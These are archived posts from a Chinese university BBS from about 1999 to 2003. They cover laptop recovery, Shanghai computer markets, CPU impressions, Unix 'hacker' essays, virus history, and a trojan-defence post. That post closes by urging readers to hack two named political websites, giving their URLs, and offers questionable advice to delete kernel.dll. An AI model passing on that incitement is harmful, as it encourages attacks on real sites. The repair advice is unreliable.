山穷水尽疑无路，柳暗花明有一碟——快速系统恢复 　　笔记本电脑都配有系统恢复光盘，在购买笔记本的时候一定要将这张光盘收好。当 系统因为病毒或误操作而崩溃时，它能起到很好的作用。一般的台式机系统一旦崩溃， 只能直接格式化，重装系统，费时费力。假如笔记本的系统崩溃，只要先将BIOS程序里 的引导驱动设置成光盘引导，然后重新启动机器，放入笔记本随机奉送的系统恢复盘， 在英文提示界面上选择重新覆盖操作系统就可以了。执行完上述操作，笔记本便会自动 运行恢复程序。虽然看不出有任何反映，但硬盘指示灯和光驱指示灯还会亮着。大约15 —20分钟之后，笔记本就会恢复到购机的初始的状态。 　　实际上，有的笔记本还针对系统崩溃提供了更为简便的解决方案。就拿IBM ThinkP ad笔记本来说，如果系统崩溃，无需恢复光盘。因为ThinkPad内部已经集成了系统恢复 功能模快。一旦系统崩溃，用户只需要在重新开机的时候，按下“F11”键，紧接着系统 就会自行恢复。 　　相信掌握了这些技巧，您就可以放心的体验笔记本电脑带来的便利和高效了。 -- 春雨： �x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x � / / / / / / / / � � 你的温柔是我度过寒冬唯一的 / / / / ���� � / / / / 理由... ���� � �______________________________________________________�____� ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 211.144.84.105] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 全国主要电脑市场综述之上海篇 发信站: 日月光华站 (Mon Aug 9 21:33:42 1999) , 转信 (飞翔鸟硬件资讯站 birds.bta.net.cn) 虽然上海的电脑市场出现的并不算早，但是经过这几年的发展，也 形成了不小的规模。特别是近两年兴建了不少的电脑广场，基本上在每 个区都有一个或几个大型的电脑市场。让上海的市民们可以不用跑很远 的路去卖电脑，极大的方便了市民选购电脑。不过这也给我等电脑发烧 友和DIY爱好者带来了不便，有时候为了要卖某种配件要跑很多地方才能 购买到。因此，希望本文能够给广大的电脑爱好者选购配件带来方便。 一、福州路科技书店计算机广场 提到上海的电脑市场，就不能不提科图的电脑广场。并不是因为科 图的电脑广场有多大多全，而是因为科图电脑广场是上海最早的电脑市 场。可以这么说，科图电脑广场首开沪上电脑市场的先河，将以前分散 的电脑公司结合到了一起，形成了上海最早的电脑市场。再我还没有买 电脑之前，科图电脑广场是我每个星期必来的地方。在这里，我接触了 最早的电脑硬件知识。 1、交通 科图电脑广场坐落于上海的文化一条街--福州路上，位于福州路和 河南路的交界处，距上海最繁华的商业街南京路仅相隔两条街，交通非 常便捷。乘坐66路、220路、923路公交车都可以到达。 2、导购 最早的时候科图电脑广场只有三楼是电脑广场。后来由于生意非常 好，所以又增开了四楼和二楼的一半作为电脑广场。二楼北面一半是卖 电脑配件的，也有一部分柜台卖工具、盘片、连接线缆等一些小配件。 值得一提的是，在二楼聚集了四家软件专卖，其中有一家是作为大众软 件上海分部。这四家软件专卖无论从软件的更新速度和品种多少来说都 是做的比较好的。当你看完二楼后，你可以从北边的扶梯或南边的自动 扶梯上三楼，三楼的四周根据公司划分为一间间的小房间。三楼集中了 大量的品牌机专卖店，从国外品牌康柏、IBM、PHLIPS到国货精品联想、 方正、海尔；从上海自有品牌东海、广电、交大盈河到本地的电脑公司 的自产品牌华海、汇泰、国微，这些电脑品牌再三楼都设有专卖店。其 中上海连邦软件专卖店在三楼也有一个分店。中间部分一分为二，南面 一半是科技书店的老本行--电脑书籍。而北面一半都是柜台，大到MO、 CDRW、HUB；小到风扇，散热片，散热硅脂都可以在这里找到。通过扶 梯，你还可以上到四楼去看看。四楼的面积比较小，连三楼的二分之一 都不到，但是也汇集了近十家电脑公司。四楼有一家创新产品专卖店， 是喜欢创新的朋友可以经常光顾的地方，他们不定期的会有清仓低价热 买活动哦！创新专卖店的右面是专做VAST品牌的上海华请公司。另外还 有一家打印机专卖店和一家MODEM专卖店，品种非常齐全，价格也比较公 道。三楼也有一家农工商茂利软件专卖店。 3、特点 科图电脑广场由于面积不大，所以集中的电脑配件产品不多，可能 不能满足电脑发烧友的需要，不过一般的“大路货”这里还是可以买到 的。相对来说，这里的的小配件比较全，有一个柜台是专卖风扇，散热 片，散热硅胶，散热胶带等专用的散热器具的。其次这里的软件比较丰 富，整个电脑市场有六个软件专卖店，可以提供非常全面而且丰富多彩 的软件，一般还可以与老板讨价还价一番。最后一点优势就是科技书店 这个老本行了，这里的电脑书籍的品种是上海几家电脑广场中最丰富 的，几乎应有尽有。 科图电脑市场适合对象包括入门初哥初妹和对电脑只有基本要求的 朋友或单位。这里的书店和软件店全部都是开架式售货，你即使在书店 里站一天，也不会有人来打扰你，你可以在电脑知识的海洋里尽情的畅 游一番。门类齐全，无所不包的电脑书籍一定会让你大饱眼福，不虚此 行的。 二、南京路中创电脑大厦 位于有“中华商业第一街”美称的南京路上的中创电脑大厦有着得 天独厚的地理优势。 1. 交通 中创大厦位于南京路、石门一路口，乘坐20路、37路公交车就可以 到达 2. 导购 中创的电脑市场从二楼开始，整个二楼和三楼几乎全部都是品牌机 代理商的天下，各种中外著名的品牌电脑在这里都有代理商，经营着从 台式机到笔记本的全系列品牌电脑。二楼的中臣连锁和威达笔记本电脑 专卖店都是沪上有名的品牌机代理商，二楼的盈河电脑和三楼的国微电 脑也是沪上小有名气的品牌电脑。三楼的伴日科技是联想产品的上海代 理。 四楼是兼容机厂商集中的地方，由于只有一个楼面，所以商家显的 少了一点，不过也有不少比较有特色的厂商。其中包括普兰普科贸有限 公司暨中科多媒体MGA产品（上海）服务中心，微星、艾威主板、ELSA显 卡上海总代理泓申科技，GVC产品专卖兰剑电脑，技嘉主板上海代理鹏扬 电脑等。在西南角还有一家罗技产品专卖店。 3. 特点 中创大厦的营业时间是从早上十点到晚上八点，是沪上电脑市场关 门最晚的一家。这里电脑配件的价格也不算高，而且品种也不少，非常 适合广大的初中级电脑爱好者的口味。 三、徐家汇百脑汇电脑咨讯广场 由于一场官司而在国内电脑行业里闹得沸沸扬扬的百脑汇电脑咨讯 广场于一九九八年的五月份在上海滩登陆。百脑汇资讯广场也是上海电 脑市场里唯一的一家有自己独立网站的电脑广场。 1、交通 百脑汇位于上海西南面徐汇区的中心地带--徐家汇，便捷的交通为 百脑汇电脑咨讯广场带来了大量的客源。通过地铁可以直接到达百脑 汇，不用出地铁站就可以沿着自动扶梯进入百脑汇。另外还有十几条公 交线路可以直达。 2、导购 一楼主要是品牌机厂商，还有不少笔记本的专卖店。122室是宏基 AOPEN品牌专卖店，经营AOPEN品牌的配件和整机。141室是希码多媒体总 汇，集中了大量的多媒体产品，包括比较有名的圆刚系列视频设备，多 媒体音箱，游戏操纵杆等产品。152A室泛菱科技是沪上少见的专营数码 相机的专卖店，集中了SONY、EPSON、PHLIPS、CANON、奥林巴斯等各种 品牌的数码相机和各种配件，喜欢数码相机的朋友可以去看看。 沿着自动扶梯来到二楼，整个二楼集中了近五十余家电脑公司，各 种各样的电脑配件品种齐全。204室的华海电脑，219室的国微电脑，263 室的一方电脑，265室的汇泰电脑都是沪上数一数二的兼容机公司。228 室卡尔耐森是升技主板的上海总代理，喜欢升技主板的朋友可以经常去 看看。242室的德裕电子是打印机的专卖店，打印机及配件耗材的品种还 是比较全面的。在东面的转角处264室的捷恩电子是一家调制解调器专卖 店，这里的调制解调器品种非常齐全，还有各种ISDN适配器。259室的七 喜电脑也是上海比较有名的电脑公司之一，主要代理SONY和DFI钻石板卡 全系列产品。245室的创源电子是EPSON系列产品的专卖店，从全系列 EPSON打印机到EPSON数码相机都有代理，还经常推出EPSON打印机和 MICROTEK扫描仪的优惠组合套餐，价格非常经济。 继续上到三楼，相对来说，三楼的商家和顾客的人数显得稍微少了 一点。但是三楼有一个非常大而且非常全面的电脑书店--北元书店，这 里的科技图书包罗万象，而且还有大量丰富多彩的软件产品。在三楼商 场的西南面有一家伟仕专卖店。伟仕电脑是SEAGATE硬盘的总代理之一， 所出售的SEAGATE都带有三年的质量保证。同时伟仕电脑还代理了AMD CPU、AZTECH爱捷特多媒体产品系列和SUPERMICR主板系列产品。356室 是一家CANON外设专卖店，CANON全系列打印机和配件耗材这里都有出 售。除此之外，三楼还有联想、方正、IBM、康柏等品牌机的代理商和专 卖店。 3、特点 百脑汇进入上海电脑市场行业以后，为这个还算新兴的行业带来了 一些较新的服务理念。比如说设立华硕免费DIY教室、免费上网区、免费 电脑游戏区等项目的设置，这些措施在开张初期有效的吸引了大批的爱 好者，从而在他们中间发展了百脑汇的忠诚顾客群。前一段时间还联合 了沪上最大的零配件批零商--国微电脑在二楼提供了二三十台电脑让顾 客们自由操作。这些举措在上海的电脑行业里都是一种创举，也让广大 的初中级顾客愿意到百脑汇去看看逛逛。 四、徐家汇太平洋电脑市场 太平洋电脑市场和百脑汇资讯广场毗邻而建，而且只比百脑汇晚一 个月开张。但是两家电脑城并没有互相开战，反而和平共处，发展成为 徐家汇地区最大的两家电脑城了。 1、交通 太平洋电脑市场毗邻百脑汇资讯广场，建议你到百脑汇资讯广场看 完以后一定要到太平洋电脑市场看看哦！相信你一定不会后悔的。 2、导购 美格(MAG)这个世界级的显示器品牌在上海的展示厅就设在太平洋电 脑市场的102室，在进大门后的左手位。右手位是两家颇具规模的软件专 卖店，一家是位于161室的农工商茂立软件专卖店，另一家是位于163室 的希望光盘资源中心。106室是金伦飞笔记本的展示专卖厅。127室是宏 基笔记本专卖店。156室是一家专卖打印机耗材的专卖店，不过与众不同 的是，这是深圳力高科技的上海专卖店。力高科技是一家专门研究打印 机耗材的专业厂家，专业生产各种针式打印机的色带和喷墨打印机的兼 容墨水。这家专卖店里的兼容墨水品种非常齐全，从兼容墨盒到可以自 行加注的墨水，应有尽有，而且价格也比原装墨水要便宜不少。由于发 明了TinyBGA封装的内存颗粒，并且以低价高品质的内存而在内地一举成 名的KINGMAX最近在太平洋电脑市场的一楼包租了一个展示厅，展示了其 最新的PC-133内存和它的起家产品--网卡和HUB，有兴趣的朋友可以去看 看。另外一楼还有联想、上海盈河等品牌机的展示厅。 顺着电梯上到二楼。迎面的295室广拓科技是一家主营大屏幕彩显的 公司，经营的品种包括ADI、SONY、VIEWSONIC、三菱等大多数世界级名 牌大屏幕彩显。在它旁边的293室是华硕上海第一展示及技术服务中心， 以前网友们遍寻不到的华硕测温线和USB接口等小配件，在这里都有卖 过。二楼258室和280室都是EPSON产品专卖店，而257室和279室都是 CANON产品专卖店。221室的鸣亚科技是上海比较早的经销计算机外设的 专业公司，太平洋电脑市场分部的招牌上有着惠普专卖店的字样。239室 的新方特是一家专业经营数码影像处理制作的公司，主营数码相机、视 频编辑卡以及相应的影像处理软件。235室是泓申科技专卖店，268室是 力恒电子太平洋分部。226室是一家音箱专卖店，店铺不大却集中了柏 力、三诺、迪波、漫步者、丽歌、豪声等各种品牌的音箱产品。278室的 智华电脑是一家专业经营硬盘阵列、RAID卡、CD光盘库、MO等专业设备 的公司。285室的瑞达科技是MUSTEK鸿友系列扫描仪的上海总代理，这里 的扫描仪品种齐全，而且有专业人员教你如何选购扫描仪。一台电脑的 主板、CPU、内存等部件虽然非常重要，但是全部都封装在机箱里面，从 外面看的话，机箱的美观就显得相当重要了。220室的机箱电源总汇和对 面299A的ST机箱专卖集中了大量的机箱，你可以为自己的电脑选一个满 意的“脸”。216室是威迪电脑销售联盟的展示厅。威迪电脑销售联盟是 上海麒麟主板的总代理，加入这个联盟的公司就成为了分销商，主营的 产品包括PC-CHIPS麒麟主板和自产品牌威迪系列电脑产品。 太平洋电脑市场的三楼是新开放的一层电脑市场，虽然还没有驻满 厂商，不过也有不少有特色的公司入驻了。302室的微盛科技是一家CPU 专卖店，这里有INTEL、AMD、CYRIX等各种散装盒装CPU，品种非常丰 富。291室的景丰电子是一家丽台产品专卖店，这里不仅有丽台的显卡和 主板等产品，也有显存、显卡散热片、散热风扇等小配件，喜欢丽台的 朋友一定不能错过。386室是一家沪上老牌公司--旗翰电脑。327室的昆 迪电子是昆腾硬盘的上海代理，这里的昆腾硬盘都是正宗的代理货，保 三年的哦！321室的一韦电子是TW同维产品的上海代理，同时也是三诺音 箱的太平洋专卖店。3107室的摩天公司主要代理的产品是飞利浦的显示 器全系列。315室上海奥业科技是爱国者系列产品的上海总代理，经营包 括爱国者显示器、爱国者机箱等全系列产品。311室是上海交大昂立书店 提供了品种齐全的各类电脑书籍，保证让你看个够。 3、特点 太平洋电脑市场最大的特点就是“全”。整个电脑市场的商家密度 非常大，几乎到了见缝插针的地步，整个一楼和二楼可以安排的地方几 乎全部都有商家入驻了，就连今年刚刚开的三楼也有了七八成的入驻 率。商家多了，经营的品种也就多了起来。各种各样的电脑软件、硬 件、外设、耗材应有尽有，你在其他地方看不到找不到的电脑配件，到 太平洋电脑市场来总能满意而归。太平洋电脑市场集中了大量电脑配件 的总代理和地区代理，整个市场的价格控制的非常便宜，而且品种丰 富，是沪上电脑发烧友不能错过的地方。 五、东上海电脑市场 与浦西一江之隔的浦东一直以来都没有专业的电脑市场。九八年十 月份，在浦东的商业黄金地段—张扬路上新建了一座东上海电脑市场。 九九年的七月底，又在此新建了新上海时代电脑广场。两座电脑市场隔 街相望，成为浦东电脑市场的最大集散地。 东上海电脑市场建立在浦东的商业黄金地段，所以交通也非常的便 捷。 由于篇幅限制，对上海的电脑市场不能做到面面俱到。在这里我列 出上海所有电脑市场的地址，有兴趣的朋友可以自己去看看。 区属 电脑市场名称 地址 —————————————————————————————— 黄浦区 科图电脑市场 河南中路221号 好胜电脑广场 福州路355号文化商厦3楼 外滩电脑市场 中山东二路24号甲 科技京城 北京东路668号 —————————————————————————————— 静安区 力普电脑城 陕西北路600号 中创大厦 南京西路819号 东海电脑街 南京西路 —————————————————————————————— 徐汇区 慧谷电子一条街 广元西路 太平洋电脑广场 漕溪北路37-41号 百脑汇电脑广场 漕溪北路11号 —————————————————————————————— 虹口区 瑞联电脑商都 四川北路1686号 远东电脑商厦 四川北路838号 伊格尔电脑城 密云路400号 —————————————————————————————— 长宁区 芙蓉江电脑城 天山支路209号 佳都电脑广场 延安西路719号 —————————————————————————————— 普陀区 疯马电脑广场 澳门路326号 新长征电脑市场 梅川路1275号 —————————————————————————————— 闸北区 新世界电脑城 曲阜路111号 —————————————————————————————— 杨浦区 五角场电脑专卖场 黄新路2052号 —————————————————————————————— 南市区 老西门电脑城 中华路1415号 —————————————————————————————— 浦东新区 东上海电脑城 浦东张扬路 东上海时代电脑广场 —————————————————————————————— 宝山区 宝灵达电脑广场 宝山淞滨路147号 飞翔鸟 Lukyboy 1999年8月9日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.207] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- HackerVsSecurity精华区文章阅读 -------------------------------------------------------------------------------- 发信人: orb (juzi), 信区: HackerVsSecurity 标 题: 木马，病毒，黑客，北区(转载) 发信站: 日月光华 (2002年04月04日18:00:40 星期四), 站内信件 【 以下文字转载自 Undergraduate 讨论区 】 【 原文由 hotwinter 所发表 】 搜索c:盘是否有kernel.exe文件(非WIN自带文件，不信可到人家机子上查查）（按F3键 ；或按开始\搜索）。若找到说明已中了木马。立刻将其删除。 同时kernel.dll（系统文件）也已感染，找到后删除。 现在，手头上应有系统启动软盘（win9x或win2k)及系统安装光盘。 用软盘启动系统（由于删除了kernel.dll系统已无法从硬盘启动），在DOS提示符下键入 EXT命令。出现提示符后按如下步骤： 1.键入系统在光盘的安装目录（如：G:\WIN9X;G:\WIN2K) 2.键入kernel.dll 3.键入系统的安装目录（如：WIN9X----C:\WINDOWS\SYSTEM;WIN2K-----C:\WINNT\SYST EM32) 重新启动一切正常。 自从北区通网后，偶机器几乎天天受到扫描下为天网防火墙的某天中午日志：(已隐去I P) [12:05:56] 10.100.1xx.122试图连接本机的NetBios-SSN[139]端口， TCP标志：S， 该操作被拒绝。 [12:28:01] 10.100.1xx.125试图连接本机的Http[80]端口， TCP标志：S， 该操作被拒绝。 [12:35:27] 10.100.1xx.151试图连接本机的NetBios-SSN[139]端口， TCP标志：S， 该操作被拒绝。 [12:36:11] 10.100.1xx.142试图连接本机的Http[80]端口， TCP标志：S， 该操作被拒绝。 防黑有道： 1.系统定要设密码。防有人以工具扫网，发现Administrator密码为Null后非法登陆，宝 贝硬盘为人鱼肉。 2.密码定要多位，防人以黑客字典猜中，偶竟发现有人密码为123.... 3.经常用superscan等扫描器，扫一下自己的端口，发现有异常的端口开放定要警惕。 4.发现自己设定的pop3地址异常等情况,可能中了将机器上密码发送到指定邮箱的木马。 5.严防同寝室人，或熟人在自己机器上安装木马（这最可怕），发现是谁后痛扁一顿， 并让请一月饭:-) 6.现发现可能有人利用门口打印的小店，散播木马和病毒，发现打印后自己的软盘上有 可疑文件立即删除，绝不要双击！ 7.勿下载可疑的共享程序。 8.装防火墙，推荐天网防火墙个人版。 另外： 若真有人黑术高超或闲得无聊现推荐几个网站来黑一黑： (台独）http://home.pchome.com.tw/education/taidootw (法轮功）http://66.169.49.75/package/admin/17713.html （说明：至4.4中午仍能连上） 好了就写到这，欢迎交流。 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.100.111.200] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 10.100.105.153] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- HackerVsSecurity精华区文章阅读 -------------------------------------------------------------------------------- 发信人: moneygg (静心则凉), 信区: HackerVsSecurity 标 题: UNIX及黑客入门的探索以思考（转载） 发信站: 日月光华站 (Wed Oct 31 10:54:43 2001) , 站内信件 发信人: scz (小四), 信区: Security 标 题: UNIX及黑客入门的探索与思考(转载) 发信站: 武汉白云黄鹤站 (Mon Jun 5 14:15:00 2000), 站内信件 无边落木： Unix从来都是真正博大精深的东西，活到老学到老用在Unix上再恰当不过。 每个企图在这条道路上前进的疯子，都需要一种动力，对于某些人来说，那 是对绝对黑暗的向往，对于有些人来说，那是对群山之巅的攀登，永远达不 到的境界正是这种追求的乐趣所在。于是你不再寂寞不再孤独，因为你发现 总有一些看似孤独寂寞的路人与你同行，也许最初他们都很忙于前进，可是 他们也会孤独也会寂寞，就象你突然在半途中感觉到的那样，他们也会偶尔 停下，看看稍微落伍于他的你，也许不经意间在你跌落尘埃的某个瞬间，他 有力的肩膀托住了你，他那似乎永远不会绽开笑容的脸居然向你投来诧异的 目光，从你身上他能看到曾经年轻的自己，于是你们会成为伙伴，成为朋友， 在这条再也无法回头的不归之路上一同前行。那是不需要言语的默契，那是 一种苍凉、一种对岁月的感慨以及还能见到些须路人的欣慰。那一天总会到 来，你无法继续前行，无法追寻前人的足迹，你缓缓坐下，让自己已不堪重 负的身躯得到最后的休息，回首无尽的苍凉，你根本无法理解自己做了什么 又想得到什么，在这种不再思考的夕辉中永远睡去----Unix程序员的最后宿 命。 -- 北风又传来熟悉的声音， 刹那间让我突然觉得好冷， 仿佛在告诉我走的太远， 有没有忘记最初的相约. ※ 修改:·moneygg 於 Oct 31 10:55:10 修改本文·[FROM: 211.96.233.1] ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 211.96.233.1] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Star (江亭飞雪), 信区: Hardware 标 题: 几款主流CPU印象(转) 发信站: 日月光华站 (Thu Jun 17 01:21:31 1999) , 转信 几款主流CPU印象 　　前两天，我帮朋友装了一台奔腾III 450，它的速度实在是太... 太...慢了(怎样，和您想的正好相反吧)。但我相信，用过K6-2 450 的朋友一定会有同样的感觉。除了在运行图像设计软件(如：Photo- shop5、3D MAX、Cool 3D等)做大型图片时能体现出奔腾III级的威力， 其它时候根本和K6-2不在同一档次，无论是进入Windows系统、游览 网页、同时打开多个应用程序，它的速度都和奔腾MMX相差无几。 　　 　　用过赛扬300A超450的各位会发现，超频之后，除玩游戏及浮点 运算的速度增加，其它程序的运行比300快不了多少。说实在，我真 的不知道怎样解释这种情况，有时我甚至怀疑我是在用450MHz的芯片 还是奔腾MMX 200(有这种感觉绝不只我一个人，身边的所有朋友都认 同了我的看法)。 　　 　　我得到的结论就是，在一般商业应用(也就是大多数人使用的软 件)下，从经典奔腾升级到K6-2芯片比升级到赛扬或奔腾II更能体现 出速度的飞跃。最后，要提醒大家一句的是，不要盲目相信测试数据， 实际应用才是最重要的，不管benchmark值有多高，跑起来如龟速般 的电脑也是废物一个，毕竟电脑是拿来用，而不是拿来测试的。不要 以为我在为AMD买广告，实际上，由于经常要进行三维游戏测试，我 自己用得最多的也是奔腾II，在玩游戏时它确是无人能敌。 -- 莫问平生得意事，江南春雨杏花寒 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.13.13.13] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- HackerVsSecurity精华区文章阅读 -------------------------------------------------------------------------------- 发信人: moneygg (静心则凉), 信区: HackerVsSecurity 标 题: UNIX及黑客入门的探索以思考（转载） 发信站: 日月光华站 (Wed Oct 31 10:54:20 2001) , 站内信件 发信人: scz (小四), 信区: Security 标 题: UNIX及黑客入门的探索与思考(经典对白、强烈推荐) 发信站: 武汉白云黄鹤站 (Mon Jun 5 14:14:40 2000), 站内信件 原著：Eric S. Raymond 翻译：Killgamenow and Co-worker Jeroo 转载：roulong 这是对热衷于网络的菜鸟们所提出问题的解答。 Guru：我怎样才能成为一个UNIX的高手呢？ Born：要知道成为高手的道路是漫长、崎岖，而且充满冒险的。你必须使自己融入到 所拥有的资源中去，以习得这门神秘莫测的学科并且拥有能和数据库以及系统内部交 流的能力。是的，象这样长时间、大精力的投入会危及你的综合能力，并且可能会影 响你的私人生活。但是如果你能够坚持的话，你就能够实现你的梦想！ Guru：那么我该看些什么书呢？是不是应该从Reilly的《Nutshell》开始呢？ Born：要知道《Nutshall》只是入门教程。这样的入门教程是值得一看的（在这里我 要赞扬Reilly，他的书从众多角度恰如其分地对外宣扬了黑客精神），但他们只是万 里长征的第一步。如果你真地想要寻求一条更理智的方法，首先要从Kernighan和Pike 的《The Unix Programming Environment》开始，接着是March Rochkind的 《Advanced Unix Programming》和Richard Stevens的《Advanced Programming In The Unix Environment》。再接着是Maurice J. Bach的《The Design Of The Unix Operating System》。记住，不要忽略Berkeley大学开发的Unix操作系统，关于此操 作系统可以参考Kirk McKusick和Keith Bostic的《The Design and Implementation Of The 4.4 BSD Operating System》。如果你需要有用的诀窍、技巧，可参阅Tim Reilly的《Unix Power Tools》；当然也可参阅《Portable C And Unix Systems Programming》一书，尽管它充塞着疯狂的键盘使用以及被世界上无知的人们称作为 “J. E. Lapin”的Malvernite。这些书会教你的左半脑如何按照Unix系统的方式运 作。《Don Libes's and Sandy Ressler's Life With Unix》一书更会使你迈向那条 成功的道路。把它们带上，它们会成为你前进的导航灯，它们也理所当然是最新的“ 黑客字典”。（你应该按照骆驼的方式行进于这条路上。） Guru：为了掌握Unix，到底有多少核心问题需要我去解析？ Born：这个问题真正触及了一个掌握UNIX操作系统不可回避的真理——你不能仅靠理 论学习来掌握UNIX，更重要的是结合实践。掌握真理的正确方法并不是学校里所教的 方法，而是看似愚蠢的黑客所用的方法。攻击，然后解决难题，在不断的努力中得到 快乐，并粉碎你所攻击的对象。（你应该按照狮子的方式行进于这条路上。） 在这个自动设置启动时间、拥有多种可装载设备的时代，重新编写一个内核已经不再 是一件困难的事了。然而为连接一些奇怪的设备而编写并且修改你原有设备的驱动程 序，对一个初学此道的菜鸟来说，仍旧是值得一试的挑战。真的，可能你所编写的内 核会冲击目前所存在的内核，并且会造成自由软件之间强有力的竞争。所以，寻找你 身边的UNIX自由资源，包括以下UNIX的版本：OpenBSD, FreeBSD, NetBSD以及LINUX的 众多版本。加入那些有实力、有上进心的UNIX和LINUX使用群体，参加他们的讨论， 随时关心他们的工作进展以及他们正在编写的UNIX的最新内核。这样，你也许有机会 成为这些高手中的一员。 Guru：一些人宣称，每一个思想正常的黑客都应该通过随心所欲地编写内核这条道路 走向成功。但这样的行为不是对UNIX操作系统的一种“亵渎”吗？ Born：“亵渎”？不！的确，内核是UNIX操作系统最神秘的一部分——但内核必须经 过人们的编写、修改才能保持这种神秘。UNIX的精髓并不独立存在于某一个特定的 UNIX版本中，而它却是存在于所有的UNIX版本不断的改进中。人们惯用的通过重写 UNIX内核得到提高的方法并不是掌握UNIX操作系统唯一的方法，但它却是所有方法中 境界最高、最难以成功的一种。可在这条道路上前进的人很少能够跨越简单的命令执 行——这条鸿沟。很多人，是的，很多人都坠入了这条鸿沟，并且主动走进了被称为 “永久性测试”的可怕误区。 Guru：那么到底哪条道路才是正确的呢？ Born：这得靠你自己去学习、探索。要培养自己如毒蛇般的敏锐，如猛虎般的勇气； 发现并且无须顾忌地询问站在你面前的高手。攻击再攻击，在实验与错误中成长。把 你最好的作品粘贴在网上，帮助那些比你更加弱小的人，这样就可以因此而获得荣誉 以及别人对你的尊敬。如果你能如实地去做这些事情，如果你做这些事情带着高尚的 思想以及良好的目的，你将会很快摆脱“菜鸟”的称号。你所进行的这些努力可能无 法在短时间内得到回报，但如果你坚持的话，其效果就会逐渐展现。当你在这条路上 行进到一半的时候，一些“高手”可能会出现在你的面前——这决对不是偶然——对 你的行为予以藐视，把他们自己的行为拿出来向你炫耀。这是他们不接受你的标志。 而即使这样，在他们面前你仍然要十分谦虚，直到你走完了这条路。无论如何，你所 需要做的只是奋斗、奋斗、再奋斗，直到那些“高手”对你的力量感到害怕、对你产 生尊敬，直到真正的高手将你纳入他们的行列。（你应该凭借“孩子”的执着行进于 这条路上。） 说了这么些话，想必有志成为高手的你已经明白如何正确找到这条道路并且如何走下 去了吧！^!^ -- 北风又传来熟悉的声音， 刹那间让我突然觉得好冷， 仿佛在告诉我走的太远， 有没有忘记最初的相约. ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 211.96.233.1] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Hyoga (白鸟座·冰河), 信区: Virus 标 题: 病毒的危害及防御 发信站: 日月光华 (2003年01月04日15:02:41 星期六), 站内信件 病毒的危害及防御 guojpeng/CVC.GB 计算机病毒的发展趋势以及对我们提出的要求 计算机病毒的特点 传染性 破坏性 寄生性 隐蔽性 程序性（可执行性） 潜伏性 可触发性 衍生性 欺骗性 不可预见性 什么是计算机病毒？ 一组具有能够进行自我传播的破坏性代码或程序。 计算机病毒的发展过程 ·20世纪60年代初，美国贝尔实验室三个年轻的程序员编写了一个名为“磁芯大战”的 游戏，游戏中的一方通过复制自身来摆脱对方的控制，这就是所谓“计算机病毒第一个 雏形。 ·20世纪70年代，美国作家雷恩在其出版的《P1的青春》一书中构思了一种能够自我复 制的计算机程序，并第一次称之为“计算机病毒”。 ·到了20世纪80年代后期，巴基斯坦有两个以编软件为生的兄弟(也就是现在的程序员)， 他们为了打击那些盗版软件的使用者，设计出了一个名为“巴基斯坦智囊”的病毒，该 病毒只传染软盘引导区。这就是最早在世界上流行的第一个真正的病毒。 ·1988年至1989年，我国也相继出现了能感染硬盘和软盘引导区的Stoned（石头）病毒， 该病毒替代码中有明显的标志“Your Pc is now Stoned！”。 20世纪90年代以前病毒的弱点 ·被感染的文件大小明显增加 ·病毒代码主体没有加密 ·访问文件的日期得到更新 ·很容易被debug工具跟踪 这些病毒中，稍微有点对抗反病毒手段的只有Yankee Doole病毒，它是怎样来对抗 反病毒手段的呢？那就是当它发现你用Debug工具跟踪它的时候，它会自动从文件中消失。 ·接着，就出现了一些能对自身进行简单加密的病毒，譬如当内存有1741病毒，用DIR列 目录表的时候，这个病毒就会掩盖被感染文件后增加的字节数，使人看起来文件的大小 没有什么变化。 ·1992年以后，出现了是一种叫做DIR2的病毒，这种病毒非常典型，并且其整个程序大 小只有263个字节。 ·20世纪内，绝大多数病毒是基于DOS系统的，有80%的病毒能在Windows中传染。 ·宏病毒的出现，代表有美丽莎,台湾一号等 ·病毒生产机现身，1996年下半年在国内终于发现了“G2、IVP、VCL”三种“病毒生产 机软件” ·Internet的广泛应用，激发了病毒的活力。病毒通过网络的快速传播和破坏，为世界 带来了一次一次的巨大灾难。 ·1998年2月，台湾省的陈盈豪，编写出了破坏性极大的恶性病毒CIH-1.2版，并定于每 年的4月26日发作破坏 CIH介绍 陈盈豪：当时台湾的一个大学生 1998年2月，1.2版 1998年4月26日，台湾少量发作 1999年4月26日，全球发作 破坏主板BIOS CIH特点 通过网络（软件下载）传播 全球有超过6000万台的机器被感染 第一个能够破坏计算机硬件的病毒 全球直接经济损失超过10亿美元 ·1999年2月，“美丽莎”病毒席卷了整个欧美大陆 这是世界上最大的一次病毒浩劫，也是最大的一次网络蠕虫大泛滥。 “美丽莎” 介绍 大卫.史密斯，美国新泽西州工程师 在16小时内席卷全球互联网 至少造成10亿美元的损失！ 通过email传播 传播规模（50的n次方，n为传播的次数） ·2000年5月，在欧美又爆发了“爱虫”网络蠕虫病毒，造成了比“美丽莎”病毒破坏性 更大的经济损失。这个病毒属于vbs脚本病毒，可以通过html，irc，email进行大量的传 播。 爱虫病毒介绍 菲律宾“AMA”电脑大学计算机系的学生 一个星期内就传遍5大洲 微软、Intel等在内的大型企业网络系统瘫痪 全球经济损失达几十亿美元 爱虫病毒特点 通过电子邮件传播，向地址本中所有用户发带毒邮件 通过聊天通道IRC、VBS、网页传播 能删除计算机内的部分文件 制造大量新的电子邮件，使用户文件泄密、网络负荷剧增。 一年后出现的爱虫变种VBS／LoveLetter．CM它还会在Windows目录下驻留一个染有 CIH病毒的文件，并将其激活。 